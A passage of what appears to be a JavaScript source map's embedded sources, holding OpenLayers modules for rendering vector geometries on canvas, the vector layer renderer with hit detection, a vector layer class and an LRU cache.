imageReplay_2.setImageStyle(imageStyle, declutterImageWithText);\n imageReplay_2.drawMultiPoint(geometry, feature);\n }\n else if (textStyle && textStyle.getText()) {\n declutterImageWithText = {};\n }\n }\n }\n var imageReplay = imageBuilderGroup.getBuilder(style.getZIndex(), 'Image');\n imageReplay.setImageStyle(imageStyle, declutterImageWithText);\n imageReplay.drawMultiPoint(geometry, feature);\n }\n if (textStyle && textStyle.getText()) {\n var textBuilderGroup = builderGroup;\n if (opt_declutterBuilderGroup) {\n textBuilderGroup = opt_declutterBuilderGroup;\n }\n var textReplay = textBuilderGroup.getBuilder(style.getZIndex(), 'Text');\n textReplay.setTextStyle(textStyle, declutterImageWithText);\n textReplay.drawText(geometry, feature);\n }\n}\n/**\n * @param {import(\"../render/canvas/BuilderGroup.js\").default} builderGroup Replay group.\n * @param {import(\"../geom/Polygon.js\").default|import(\"../render/Feature.js\").default} geometry Geometry.\n * @param {import(\"../style/Style.js\").default} style Style.\n * @param {import(\"../Feature.js\").FeatureLike} feature Feature.\n * @param {import(\"../render/canvas/BuilderGroup.js\").default} [opt_declutterBuilderGroup] Builder for decluttering.\n */\nfunction renderPolygonGeometry(builderGroup, geometry, style, feature, opt_declutterBuilderGroup) {\n var fillStyle = style.getFill();\n var strokeStyle = style.getStroke();\n if (fillStyle || strokeStyle) {\n var polygonReplay = builderGroup.getBuilder(style.getZIndex(), 'Polygon');\n polygonReplay.setFillStrokeStyle(fillStyle, strokeStyle);\n polygonReplay.drawPolygon(geometry, feature);\n }\n var textStyle = style.getText();\n if (textStyle && textStyle.getText()) {\n var textReplay = (opt_declutterBuilderGroup || builderGroup).getBuilder(style.getZIndex(), 'Text');\n textReplay.setTextStyle(textStyle);\n textReplay.drawText(geometry, feature);\n }\n}\n//# sourceMappingURL=vector.js.map","var __extends = (this && this.__extends) || (function () {\n var extendStatics = function (d, b) {\n extendStatics = Object.setPrototypeOf ||\n ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) ||\n function (d, b) { for (var p in b) if (Object.prototype.hasOwnProperty.call(b, p)) d[p] = b[p]; };\n return extendStatics(d, b);\n };\n return function (d, b) {\n if (typeof b !== \"function\" && b !== null)\n throw new TypeError(\"Class extends value \" + String(b) + \" is not a constructor or null\");\n extendStatics(d, b);\n function __() { this.constructor = d; }\n d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __());\n };\n})();\n/**\n * @module ol/renderer/canvas/VectorLayer\n */\nimport CanvasBuilderGroup from '../../render/canvas/BuilderGroup.js';\nimport CanvasLayerRenderer, { canvasPool } from './Layer.js';\nimport ExecutorGroup from '../../render/canvas/ExecutorGroup.js';\nimport ViewHint from '../../ViewHint.js';\nimport { HIT_DETECT_RESOLUTION, createHitDetectionImageData, hitDetect, } from '../../render/canvas/hitdetect.js';\nimport { apply, makeInverse, makeScale, toString as transformToString, } from '../../transform.js';\nimport { buffer, containsExtent, createEmpty, getWidth, intersects as intersectsExtent, wrapX as wrapExtentX, } from '../../extent.js';\nimport { createCanvasContext2D, releaseCanvas } from '../../dom.js';\nimport { defaultOrder as defaultRenderOrder, getTolerance as getRenderTolerance, getSquaredTolerance as getSquaredRenderTolerance, renderFeature, } from '../vector.js';\nimport { equals } from '../../array.js';\nimport { fromUserExtent, getTransformFromProjections, getUserProjection, toUserExtent, toUserResolution, } from '../../proj.js';\nimport { getUid } from '../../util.js';\nimport { wrapX as wrapCoordinateX } from '../../coordinate.js';\n/**\n * @classdesc\n * Canvas renderer for vector layers.\n * @api\n */\nvar CanvasVectorLayerRenderer = /** @class */ (function (_super) {\n __extends(CanvasVectorLayerRenderer, _super);\n /**\n * @param {import(\"../../layer/BaseVector.js\").default} vectorLayer Vector layer.\n */\n function CanvasVectorLayerRenderer(vectorLayer) {\n var _this = _super.call(this, vectorLayer) || this;\n /** @private */\n _this.boundHandleStyleImageChange_ = _this.handleStyleImageChange_.bind(_this);\n /**\n * @type {boolean}\n */\n _this.animatingOrInteracting_;\n /**\n * @type {ImageData}\n */\n _this.hitDetectionImageData_ = null;\n /**\n * @type {Array<import(\"../../Feature.js\").default>}\n */\n _this.renderedFeatures_ = null;\n /**\n * @private\n * @type {number}\n */\n _this.renderedRevision_ = -1;\n /**\n * @private\n * @type {number}\n */\n _this.renderedResolution_ = NaN;\n /**\n * @private\n * @type {import(\"../../extent.js\").Extent}\n */\n _this.renderedExtent_ = createEmpty();\n /**\n * @private\n * @type {import(\"../../extent.js\").Extent}\n */\n _this.wrappedRenderedExtent_ = createEmpty();\n /**\n * @private\n * @type {number}\n */\n _this.renderedRotation_;\n /**\n * @private\n * @type {import(\"../../coordinate\").Coordinate}\n */\n _this.renderedCenter_ = null;\n /**\n * @private\n * @type {import(\"../../proj/Projection\").default}\n */\n _this.renderedProjection_ = null;\n /**\n * @private\n * @type {function(import(\"../../Feature.js\").default, import(\"../../Feature.js\").default): number|null}\n */\n _this.renderedRenderOrder_ = null;\n /**\n * @private\n * @type {import(\"../../render/canvas/ExecutorGroup\").default}\n */\n _this.replayGroup_ = null;\n /**\n * A new replay group had to be created by `prepareFrame()`\n * @type {boolean}\n */\n _this.replayGroupChanged = true;\n /**\n * @type {import(\"../../render/canvas/ExecutorGroup\").default}\n */\n _this.declutterExecutorGroup = null;\n /**\n * Clipping to be performed by `renderFrame()`\n * @type {boolean}\n */\n _this.clipping = true;\n /**\n * @private\n * @type {CanvasRenderingContext2D}\n */\n _this.compositionContext_ = null;\n /**\n * @private\n * @type {number}\n */\n _this.opacity_ = 1;\n return _this;\n }\n /**\n * @param {ExecutorGroup} executorGroup Executor group.\n * @param {import(\"../../PluggableMap.js\").FrameState} frameState Frame state.\n * @param {import(\"rbush\").default} [opt_declutterTree] Declutter tree.\n */\n CanvasVectorLayerRenderer.prototype.renderWorlds = function (executorGroup, frameState, opt_declutterTree) {\n var extent = frameState.extent;\n var viewState = frameState.viewState;\n var center = viewState.center;\n var resolution = viewState.resolution;\n var projection = viewState.projection;\n var rotation = viewState.rotation;\n var projectionExtent = projection.getExtent();\n var vectorSource = this.getLayer().getSource();\n var pixelRatio = frameState.pixelRatio;\n var viewHints = frameState.viewHints;\n var snapToPixel = !(viewHints[ViewHint.ANIMATING] || viewHints[ViewHint.INTERACTING]);\n var context = this.compositionContext_;\n var width = Math.round(frameState.size[0] * pixelRatio);\n var height = Math.round(frameState.size[1] * pixelRatio);\n var multiWorld = vectorSource.getWrapX() && projection.canWrapX();\n var worldWidth = multiWorld ? getWidth(projectionExtent) : null;\n var endWorld = multiWorld\n ? Math.ceil((extent[2] - projectionExtent[2]) / worldWidth) + 1\n : 1;\n var world = multiWorld\n ? Math.floor((extent[0] - projectionExtent[0]) / worldWidth)\n : 0;\n do {\n var transform = this.getRenderTransform(center, resolution, rotation, pixelRatio, width, height, world * worldWidth);\n executorGroup.execute(context, 1, transform, rotation, snapToPixel, undefined, opt_declutterTree);\n } while (++world < endWorld);\n };\n CanvasVectorLayerRenderer.prototype.setupCompositionContext_ = function () {\n if (this.opacity_ !== 1) {\n var compositionContext = createCanvasContext2D(this.context.canvas.width, this.context.canvas.height, canvasPool);\n this.compositionContext_ = compositionContext;\n }\n else {\n this.compositionContext_ = this.context;\n }\n };\n CanvasVectorLayerRenderer.prototype.releaseCompositionContext_ = function () {\n if (this.opacity_ !== 1) {\n var alpha = this.context.globalAlpha;\n this.context.globalAlpha = this.opacity_;\n this.context.drawImage(this.compositionContext_.canvas, 0, 0);\n this.context.globalAlpha = alpha;\n releaseCanvas(this.compositionContext_);\n canvasPool.push(this.compositionContext_.canvas);\n this.compositionContext_ = null;\n }\n };\n /**\n * Render declutter items for this layer\n * @param {import(\"../../PluggableMap.js\").FrameState} frameState Frame state.\n */\n CanvasVectorLayerRenderer.prototype.renderDeclutter = function (frameState) {\n if (this.declutterExecutorGroup) {\n this.setupCompositionContext_();\n this.renderWorlds(this.declutterExecutorGroup, frameState, frameState.declutterTree);\n this.releaseCompositionContext_();\n }\n };\n /**\n * Render the layer.\n * @param {import(\"../../PluggableMap.js\").FrameState} frameState Frame state.\n * @param {HTMLElement} target Target that may be used to render content to.\n * @return {HTMLElement} The rendered element.\n */\n CanvasVectorLayerRenderer.prototype.renderFrame = function (frameState, target) {\n var pixelRatio = frameState.pixelRatio;\n var layerState = frameState.layerStatesArray[frameState.layerIndex];\n // set forward and inverse pixel transforms\n makeScale(this.pixelTransform, 1 / pixelRatio, 1 / pixelRatio);\n makeInverse(this.inversePixelTransform, this.pixelTransform);\n var canvasTransform = transformToString(this.pixelTransform);\n this.useContainer(target, canvasTransform, this.getBackground(frameState));\n var context = this.context;\n var canvas = context.canvas;\n var replayGroup = this.replayGroup_;\n var declutterExecutorGroup = this.declutterExecutorGroup;\n if ((!replayGroup || replayGroup.isEmpty()) &&\n (!declutterExecutorGroup || declutterExecutorGroup.isEmpty())) {\n return null;\n }\n // resize and clear\n var width = Math.round(frameState.size[0] * pixelRatio);\n var height = Math.round(frameState.size[1] * pixelRatio);\n if (canvas.width != width || canvas.height != height) {\n canvas.width = width;\n canvas.height = height;\n if (canvas.style.transform !== canvasTransform) {\n canvas.style.transform = canvasTransform;\n }\n }\n else if (!this.containerReused) {\n context.clearRect(0, 0, width, height);\n }\n this.preRender(context, frameState);\n var viewState = frameState.viewState;\n var projection = viewState.projection;\n this.opacity_ = layerState.opacity;\n this.setupCompositionContext_();\n // clipped rendering if layer extent is set\n var clipped = false;\n var render = true;\n if (layerState.extent && this.clipping) {\n var layerExtent = fromUserExtent(layerState.extent, projection);\n render = intersectsExtent(layerExtent, frameState.extent);\n clipped = render && !containsExtent(layerExtent, frameState.extent);\n if (clipped) {\n this.clipUnrotated(this.compositionContext_, frameState, layerExtent);\n }\n }\n if (render) {\n this.renderWorlds(replayGroup, frameState);\n }\n if (clipped) {\n this.compositionContext_.restore();\n }\n this.releaseCompositionContext_();\n this.postRender(context, frameState);\n if (this.renderedRotation_ !== viewState.rotation) {\n this.renderedRotation_ = viewState.rotation;\n this.hitDetectionImageData_ = null;\n }\n return this.container;\n };\n /**\n * Asynchronous layer level hit detection.\n * @param {import(\"../../pixel.js\").Pixel} pixel Pixel.\n * @return {Promise<Array<import(\"../../Feature\").default>>} Promise that resolves with an array of features.\n */\n CanvasVectorLayerRenderer.prototype.getFeatures = function (pixel) {\n return new Promise(\n /**\n * @param {function(Array<import(\"../../Feature\").default|import(\"../../render/Feature\").default>): void} resolve Resolver function.\n * @this {CanvasVectorLayerRenderer}\n */\n function (resolve) {\n if (!this.hitDetectionImageData_ && !this.animatingOrInteracting_) {\n var size = [this.context.canvas.width, this.context.canvas.height];\n apply(this.pixelTransform, size);\n var center = this.renderedCenter_;\n var resolution = this.renderedResolution_;\n var rotation = this.renderedRotation_;\n var projection = this.renderedProjection_;\n var extent = this.wrappedRenderedExtent_;\n var layer = this.getLayer();\n var transforms = [];\n var width = size[0] * HIT_DETECT_RESOLUTION;\n var height = size[1] * HIT_DETECT_RESOLUTION;\n transforms.push(this.getRenderTransform(center, resolution, rotation, HIT_DETECT_RESOLUTION, width, height, 0).slice());\n var source = layer.getSource();\n var projectionExtent = projection.getExtent();\n if (source.getWrapX() &&\n projection.canWrapX() &&\n !containsExtent(projectionExtent, extent)) {\n var startX = extent[0];\n var worldWidth = getWidth(projectionExtent);\n var world = 0;\n var offsetX = void 0;\n while (startX < projectionExtent[0]) {\n --world;\n offsetX = worldWidth * world;\n transforms.push(this.getRenderTransform(center, resolution, rotation, HIT_DETECT_RESOLUTION, width, height, offsetX).slice());\n startX += worldWidth;\n }\n world = 0;\n startX = extent[2];\n while (startX > projectionExtent[2]) {\n ++world;\n offsetX = worldWidth * world;\n transforms.push(this.getRenderTransform(center, resolution, rotation, HIT_DETECT_RESOLUTION, width, height, offsetX).slice());\n startX -= worldWidth;\n }\n }\n this.hitDetectionImageData_ = createHitDetectionImageData(size, transforms, this.renderedFeatures_, layer.getStyleFunction(), extent, resolution, rotation);\n }\n resolve(hitDetect(pixel, this.renderedFeatures_, this.hitDetectionImageData_));\n }.bind(this));\n };\n /**\n * @param {import(\"../../coordinate.js\").Coordinate} coordinate Coordinate.\n * @param {import(\"../../PluggableMap.js\").FrameState} frameState Frame state.\n * @param {number} hitTolerance Hit tolerance in pixels.\n * @param {import(\"../vector.js\").FeatureCallback<T>} callback Feature callback.\n * @param {Array<import(\"../Map.js\").HitMatch<T>>} matches The hit detected matches with tolerance.\n * @return {T|undefined} Callback result.\n * @template T\n */\n CanvasVectorLayerRenderer.prototype.forEachFeatureAtCoordinate = function (coordinate, frameState, hitTolerance, callback, matches) {\n var _this = this;\n if (!this.replayGroup_) {\n return undefined;\n }\n var resolution = frameState.viewState.resolution;\n var rotation = frameState.viewState.rotation;\n var layer = this.getLayer();\n /** @type {!Object<string, import(\"../Map.js\").HitMatch<T>|true>} */\n var features = {};\n /**\n * @param {import(\"../../Feature.js\").FeatureLike} feature Feature.\n * @param {import(\"../../geom/SimpleGeometry.js\").default} geometry Geometry.\n * @param {number} distanceSq The squared distance to the click position\n * @return {T|undefined} Callback result.\n */\n var featureCallback = function (feature, geometry, distanceSq) {\n var key = getUid(feature);\n var match = features[key];\n if (!match) {\n if (distanceSq === 0) {\n features[key] = true;\n return callback(feature, layer, geometry);\n }\n matches.push((features[key] = {\n feature: feature,\n layer: layer,\n geometry: geometry,\n distanceSq: distanceSq,\n callback: callback,\n }));\n }\n else if (match !== true && distanceSq < match.distanceSq) {\n if (distanceSq === 0) {\n features[key] = true;\n matches.splice(matches.lastIndexOf(match), 1);\n return callback(feature, layer, geometry);\n }\n match.geometry = geometry;\n match.distanceSq = distanceSq;\n }\n return undefined;\n };\n var result;\n var executorGroups = [this.replayGroup_];\n if (this.declutterExecutorGroup) {\n executorGroups.push(this.declutterExecutorGroup);\n }\n executorGroups.some(function (executorGroup) {\n return (result = executorGroup.forEachFeatureAtCoordinate(coordinate, resolution, rotation, hitTolerance, featureCallback, executorGroup === _this.declutterExecutorGroup &&\n frameState.declutterTree\n ? frameState.declutterTree.all().map(function (item) { return item.value; })\n : null));\n });\n return result;\n };\n /**\n * Perform action necessary to get the layer rendered after new fonts have loaded\n */\n CanvasVectorLayerRenderer.prototype.handleFontsChanged = function () {\n var layer = this.getLayer();\n if (layer.getVisible() && this.replayGroup_) {\n layer.changed();\n }\n };\n /**\n * Handle changes in image style state.\n * @param {import(\"../../events/Event.js\").default} event Image style change event.\n * @private\n */\n CanvasVectorLayerRenderer.prototype.handleStyleImageChange_ = function (event) {\n this.renderIfReadyAndVisible();\n };\n /**\n * Determine whether render should be called.\n * @param {import(\"../../PluggableMap.js\").FrameState} frameState Frame state.\n * @return {boolean} Layer is ready to be rendered.\n */\n CanvasVectorLayerRenderer.prototype.prepareFrame = function (frameState) {\n var vectorLayer = this.getLayer();\n var vectorSource = vectorLayer.getSource();\n if (!vectorSource) {\n return false;\n }\n var animating = frameState.viewHints[ViewHint.ANIMATING];\n var interacting = frameState.viewHints[ViewHint.INTERACTING];\n var updateWhileAnimating = vectorLayer.getUpdateWhileAnimating();\n var updateWhileInteracting = vectorLayer.getUpdateWhileInteracting();\n if ((this.ready && !updateWhileAnimating && animating) ||\n (!updateWhileInteracting && interacting)) {\n this.animatingOrInteracting_ = true;\n return true;\n }\n this.animatingOrInteracting_ = false;\n var frameStateExtent = frameState.extent;\n var viewState = frameState.viewState;\n var projection = viewState.projection;\n var resolution = viewState.resolution;\n var pixelRatio = frameState.pixelRatio;\n var vectorLayerRevision = vectorLayer.getRevision();\n var vectorLayerRenderBuffer = vectorLayer.getRenderBuffer();\n var vectorLayerRenderOrder = vectorLayer.getRenderOrder();\n if (vectorLayerRenderOrder === undefined) {\n vectorLayerRenderOrder = defaultRenderOrder;\n }\n var center = viewState.center.slice();\n var extent = buffer(frameStateExtent, vectorLayerRenderBuffer * resolution);\n var renderedExtent = extent.slice();\n var loadExtents = [extent.slice()];\n var projectionExtent = projection.getExtent();\n if (vectorSource.getWrapX() &&\n projection.canWrapX() &&\n !containsExtent(projectionExtent, frameState.extent)) {\n // For the replay group, we need an extent that intersects the real world\n // (-180° to +180°). To support geometries in a coordinate range from -540°\n // to +540°, we add at least 1 world width on each side of the projection\n // extent. If the viewport is wider than the world, we need to add half of\n // the viewport width to make sure we cover the whole viewport.\n var worldWidth = getWidth(projectionExtent);\n var gutter = Math.max(getWidth(extent) / 2, worldWidth);\n extent[0] = projectionExtent[0] - gutter;\n extent[2] = projectionExtent[2] + gutter;\n wrapCoordinateX(center, projection);\n var loadExtent = wrapExtentX(loadExtents[0], projection);\n // If the extent crosses the date line, we load data for both edges of the worlds\n if (loadExtent[0] < projectionExtent[0] &&\n loadExtent[2] < projectionExtent[2]) {\n loadExtents.push([\n loadExtent[0] + worldWidth,\n loadExtent[1],\n loadExtent[2] + worldWidth,\n loadExtent[3],\n ]);\n }\n else if (loadExtent[0] > projectionExtent[0] &&\n loadExtent[2] > projectionExtent[2]) {\n loadExtents.push([\n loadExtent[0] - worldWidth,\n loadExtent[1],\n loadExtent[2] - worldWidth,\n loadExtent[3],\n ]);\n }\n }\n if (this.ready &&\n this.renderedResolution_ == resolution &&\n this.renderedRevision_ == vectorLayerRevision &&\n this.renderedRenderOrder_ == vectorLayerRenderOrder &&\n containsExtent(this.wrappedRenderedExtent_, extent)) {\n if (!equals(this.renderedExtent_, renderedExtent)) {\n this.hitDetectionImageData_ = null;\n this.renderedExtent_ = renderedExtent;\n }\n this.renderedCenter_ = center;\n this.replayGroupChanged = false;\n return true;\n }\n this.replayGroup_ = null;\n var replayGroup = new CanvasBuilderGroup(getRenderTolerance(resolution, pixelRatio), extent, resolution, pixelRatio);\n var declutterBuilderGroup;\n if (this.getLayer().getDeclutter()) {\n declutterBuilderGroup = new CanvasBuilderGroup(getRenderTolerance(resolution, pixelRatio), extent, resolution, pixelRatio);\n }\n var userProjection = getUserProjection();\n var userTransform;\n if (userProjection) {\n for (var i = 0, ii = loadExtents.length; i < ii; ++i) {\n var extent_1 = loadExtents[i];\n var userExtent_1 = toUserExtent(extent_1, projection);\n vectorSource.loadFeatures(userExtent_1, toUserResolution(resolution, projection), userProjection);\n }\n userTransform = getTransformFromProjections(userProjection, projection);\n }\n else {\n for (var i = 0, ii = loadExtents.length; i < ii; ++i) {\n vectorSource.loadFeatures(loadExtents[i], resolution, projection);\n }\n }\n var squaredTolerance = getSquaredRenderTolerance(resolution, pixelRatio);\n var ready = true;\n var render = \n /**\n * @param {import(\"../../Feature.js\").default} feature Feature.\n * @this {CanvasVectorLayerRenderer}\n */\n function (feature) {\n var styles;\n var styleFunction = feature.getStyleFunction() || vectorLayer.getStyleFunction();\n if (styleFunction) {\n styles = styleFunction(feature, resolution);\n }\n if (styles) {\n var dirty = this.renderFeature(feature, squaredTolerance, styles, replayGroup, userTransform, declutterBuilderGroup);\n ready = ready && !dirty;\n }\n }.bind(this);\n var userExtent = toUserExtent(extent, projection);\n /** @type {Array<import(\"../../Feature.js\").default>} */\n var features = vectorSource.getFeaturesInExtent(userExtent);\n if (vectorLayerRenderOrder) {\n features.sort(vectorLayerRenderOrder);\n }\n for (var i = 0, ii = features.length; i < ii; ++i) {\n render(features[i]);\n }\n this.renderedFeatures_ = features;\n this.ready = ready;\n var replayGroupInstructions = replayGroup.finish();\n var executorGroup = new ExecutorGroup(extent, resolution, pixelRatio, vectorSource.getOverlaps(), replayGroupInstructions, vectorLayer.getRenderBuffer());\n if (declutterBuilderGroup) {\n this.declutterExecutorGroup = new ExecutorGroup(extent, resolution, pixelRatio, vectorSource.getOverlaps(), declutterBuilderGroup.finish(), vectorLayer.getRenderBuffer());\n }\n this.renderedResolution_ = resolution;\n this.renderedRevision_ = vectorLayerRevision;\n this.renderedRenderOrder_ = vectorLayerRenderOrder;\n this.renderedExtent_ = renderedExtent;\n this.wrappedRenderedExtent_ = extent;\n this.renderedCenter_ = center;\n this.renderedProjection_ = projection;\n this.replayGroup_ = executorGroup;\n this.hitDetectionImageData_ = null;\n this.replayGroupChanged = true;\n return true;\n };\n /**\n * @param {import(\"../../Feature.js\").default} feature Feature.\n * @param {number} squaredTolerance Squared render tolerance.\n * @param {import(\"../../style/Style.js\").default|Array<import(\"../../style/Style.js\").default>} styles The style or array of styles.\n * @param {import(\"../../render/canvas/BuilderGroup.js\").default} builderGroup Builder group.\n * @param {import(\"../../proj.js\").TransformFunction} [opt_transform] Transform from user to view projection.\n * @param {import(\"../../render/canvas/BuilderGroup.js\").default} [opt_declutterBuilderGroup] Builder for decluttering.\n * @return {boolean} `true` if an image is loading.\n */\n CanvasVectorLayerRenderer.prototype.renderFeature = function (feature, squaredTolerance, styles, builderGroup, opt_transform, opt_declutterBuilderGroup) {\n if (!styles) {\n return false;\n }\n var loading = false;\n if (Array.isArray(styles)) {\n for (var i = 0, ii = styles.length; i < ii; ++i) {\n loading =\n renderFeature(builderGroup, feature, styles[i], squaredTolerance, this.boundHandleStyleImageChange_, opt_transform, opt_declutterBuilderGroup) || loading;\n }\n }\n else {\n loading = renderFeature(builderGroup, feature, styles, squaredTolerance, this.boundHandleStyleImageChange_, opt_transform, opt_declutterBuilderGroup);\n }\n return loading;\n };\n return CanvasVectorLayerRenderer;\n}(CanvasLayerRenderer));\nexport default CanvasVectorLayerRenderer;\n//# sourceMappingURL=VectorLayer.js.map","/**\n * @module ol/ViewHint\n */\n/**\n * @enum {number}\n */\nexport default {\n ANIMATING: 0,\n INTERACTING: 1,\n};\n//# sourceMappingURL=ViewHint.js.map","var __extends = (this && this.__extends) || (function () {\n var extendStatics = function (d, b) {\n extendStatics = Object.setPrototypeOf ||\n ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) ||\n function (d, b) { for (var p in b) if (Object.prototype.hasOwnProperty.call(b, p)) d[p] = b[p]; };\n return extendStatics(d, b);\n };\n return function (d, b) {\n if (typeof b !== \"function\" && b !== null)\n throw new TypeError(\"Class extends value \" + String(b) + \" is not a constructor or null\");\n extendStatics(d, b);\n function __() { this.constructor = d; }\n d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __());\n };\n})();\n/**\n * @module ol/layer/Vector\n */\nimport BaseVectorLayer from './BaseVector.js';\nimport CanvasVectorLayerRenderer from '../renderer/canvas/VectorLayer.js';\n/**\n * @classdesc\n * Vector data is rendered client-side, as vectors. This layer type provides most accurate rendering\n * even during animations. Points and labels stay upright on rotated views. For very large\n * amounts of vector data, performance may suffer during pan and zoom animations. In this case,\n * try {@link module:ol/layer/VectorImage~VectorImageLayer}.\n *\n * Note that any property set in the options is set as a {@link module:ol/Object~BaseObject}\n * property on the layer object; for example, setting `title: 'My Title'` in the\n * options means that `title` is observable, and has get/set accessors.\n *\n * @template {import(\"../source/Vector.js\").default} VectorSourceType\n * @extends {BaseVectorLayer<VectorSourceType, CanvasVectorLayerRenderer>}\n * @api\n */\nvar VectorLayer = /** @class */ (function (_super) {\n __extends(VectorLayer, _super);\n /**\n * @param {import(\"./BaseVector.js\").Options<VectorSourceType>} [opt_options] Options.\n */\n function VectorLayer(opt_options) {\n return _super.call(this, opt_options) || this;\n }\n VectorLayer.prototype.createRenderer = function () {\n return new CanvasVectorLayerRenderer(this);\n };\n return VectorLayer;\n}(BaseVectorLayer));\nexport default VectorLayer;\n//# sourceMappingURL=Vector.js.map","/**\n * @module ol/structs/LRUCache\n */\nimport { assert } from '../asserts.js';\n/**\n * @typedef {Object} Entry\n * @property {string} key_ Key.\n * @property {Object} newer Newer.\n * @property {Object} older Older.\n * @property {*} value_ Value.\n */\n/**\n * @classdesc\n * Implements a Least-Recently-Used cache where the keys do not conflict with\n * Object's properties (e.g. 'hasOwnProperty' is not allowed as a key). Expiring\n * items from the cache is the responsibility of the user.\n *\n * @fires import(\"../events/Event.js\").default\n * @template T\n */\nvar LRUCache = /** @class */ (function () {\n /**\n * @param {number} [opt_highWaterMark] High water mark.\n */\n function LRUCache(opt_highWaterMark) {\n /**\n * Desired max cache size after expireCache(). If set to 0, no cache entries\n * will be pruned at all.\n * @type {number}\n */\n this.highWaterMark =\n opt_highWaterMark !== undefined ? opt_highWaterMark : 2048;\n /**\n * @private\n * @type {number}\n */\n this.count_ = 0;\n /**\n * @private\n * @type {!Object<string, Entry>}\n */\n this.entries_ = {};\n /**\n * @private\n * @type {?Entry}\n */\n this.oldest_ = null;\n /**\n * @private\n * @type {?Entry}\n */\n this.newest_ = null;\n }\n /**\n * @return {boolean} Can expire cache.\n */\n LRUCache.prototype.canExpireCache = function () {\n return this.highWaterMark > 0 && this.getCount() > this.highWaterMark;\n };\n /**\n * Expire the cache.\n * @param {!Object<string, boolean>} [keep] Keys to keep. To be implemented by subclasses.\n */\n LRUCache.prototype.expireCache = function (keep) {\n while (this.canExpireCache()) {\n this.pop();\n }\n };\n /**\n * FIXME empty description for jsdoc\n */\n LRUCache.prototype.clear = function () {\n this.count_ = 0;\n this.entries_ = {};\n this.oldest_ = null;\n this.newest_ = null;\n };\n /**\n * @param {string} key Key.\n * @return {boolean} Contains key.\n */\n LRUCache.prototype.containsKey = function (key) {\n return this.entries_.hasOwnProperty(key);\n };\n /**\n * @param {function(T, string, LRUCache<T>): ?} f The function\n * to call for every entry from the oldest to the newer. This function takes\n * 3 arguments (the entry value, the entry key and the LRUCache object).\n * The return value is ignored.\n */\n LRUCache.prototype.forEach = function (f) {\n var entry = this.oldest_;\n while (entry) {\n f(entry.value_, entry.key_, this);\n entry = entry.newer;\n }\n };\n /**\n * @param {string} key Key.\n * @param {*} [opt_options] Options (reserved for subclasses).\n * @return {T} Value.\n */\n LRUCache.prototype.get = function (key, opt_options) {\n var entry = this.entries_[key];\n assert(entry !== undefined, 15); // Tried to get a value for a key that does not exist in the cache\n if (entry === this.newest_) {\n return entry.value_;\n }\n else if (entry === this.oldest_) {\n this.oldest_ = /** @type {Entry} */ (this.oldest_.newer);\n this.oldest_.older = null;\n }\n else {\n entry.newer.older = entry.older;\n entry.older.newer = entry.newer;\n }\n entry.newer = null;\n entry.older = this.newest_;\n this.newest_.newer = entry;\n this.newest_ = entry;\n return entry.value_;\n };\n /**\n * Remove an entry from the cache.\n * @param {string} key The entry key.\n * @return {T} The removed entry.\n */\n LRUCache.prototype.remove = function (key) {\n var entry = this.entries_[key];\n assert(entry !== undefined, 15); // Tried to get a value for a key that does not exist in the cache\n if (entry === this.newest_) {\n this.newest_ = /** @type {Entry} */ (entry.older);\n if (this.newest_) {\n this.newest_.newer = null;\n }\n }\n else if (entry === this.oldest_) {\n this.oldest_ = /** @type {Entry} */ (entry.newer);\n if (this.oldest_) {\n this.oldest_.older = null;\n }\n }\n else {\n entry.newer.older = entry.older;\n entry.older.newer = entry.newer;\n }\n delete this.entries_[key];\n --this.count_;\n return entry.value_;\n };\n /**\n * @return {number} Count.\n */\n LRUCache.prototype.getCount = function () {\n return this.count_;\n };\n /**\n * @return {Array<string>} Keys.\n */\n LRUCache.prototype.getKeys = function () {\n var keys = new Array(this.count_);\n var i = 0;\n var entry;\n for (entry = this.newest_; entry; entry = entry.older) {\n keys[i++] = entry.key_;\n }\n return keys;\n };\n /**\n * @return {Array<T>} Values.\n */\n LRUCache.prototype.getValues = function () {\n var values = new Array(this.count_);\n var i = 0;\n var entry;\n for (entry = this.newest_; entry; entry = entry.older) {\n values[i++] = entry.value_;\n }\n return values;\n };\n /**\n * @return {T} Last value.\n */\n LRUCache.prototype.peekLast = function () {\n return this.oldest_.value_;\n };\n /**\n * @return {string} Last key.\n */\n LRUCache.prototype.peekLastKey = function () {\n return this.oldest_.key_;\n };\n /**\n * Get the key of the newest item in the cache. Throws if the cache is empty.\n * @return {string} The newest key.\n */\n LRUCache.prototype.peekFirstKey = function () {\n return this.newest_.key_;\n };\n /**\n * Return an entry without updating least recently used time.\n * @param {string} key Key.\n * @return {T} Value.\n */\n LRUCache.prototype.peek = function (key) {\n if (!this.containsKey(key)) {\n return undefined;\n }\n return this.entries_[key].value_;\n };\n /**\n * @return {T} value Value.\n */\n LRUCache.prototype.pop = function () {\n var entry = this.oldest_;\n delete this.entries_[entry.key_];\n if (entry.newer) {\n entry.newer.older = null;\n }\n this.oldest_ = /** @type {Entry} */ (entry.newer);\n if (!this.oldest_) {\n this.newest_ = null;\n }\n --this.count_;\n return entry.value_;\n };\n /**\n * @param {string} key Key.\n * @param {T} value Value.\n */\n LRUCache.prototype.replace = function (key, value) {\n this.get(key); // update `newest_`\n this.entries_[key].value_ = value;\n };\n /**\n * @param {string} key Key.\n * @param {T} value Value.\n */\n LRUCache.prototype.set = function (key, value) {\n assert(!(key in this.entries_), 16); // Tried to set a value for a key that is used already\n var entry = {\n key_: key,\n newer: null,\n older: this.newest_,\n value_: value,\n };\n if (!this.newest_) {\n this.oldest_ = entry;\n }\n else {\n this.newest_.newer = entry;\n }\n this.newest_ = entry;\n this.entries_[key] = entry;\n ++this.count_;\n };\n /**\n * Set a maximum number of entries for the cache.\n * @param {number} size Cache size.\n * @api\n */\n LRUCache.prototype.setSize = function (size) {\n this.highWaterMark = size;\n };\n return LRUCache;\n}());\nexport default LRUCache;\n//# sourceMappingURL=LRUCache.js.map","/**\n * @module ol/tilecoord\n */\n/**\n * An array of three numbers representing the location of a tile in a tile\n * grid. The order is `z` (zoom level), `x` (column), and `y` (row).\n * @typedef {Array<number>} TileCoord\n * @api\n */\n/**\n * @param {number} z Z.\n * @param {number} x X.\n * @param {number} y Y.\n * @param {TileCoord} [opt_tileCoord] Tile coordinate.\n * @return {TileCoord} Tile coordinate.\n */\nexport function createOrUpdate(z, x, y, opt_tileCoord) {\n if (opt_tileCoord !== undefined) {\n opt_tileCoord[0] = z;\n opt_tileCoord[1] = x;\n opt_tileCoord[2] = y;\n return opt_tileCoord;\n }\n else {\n return [z, 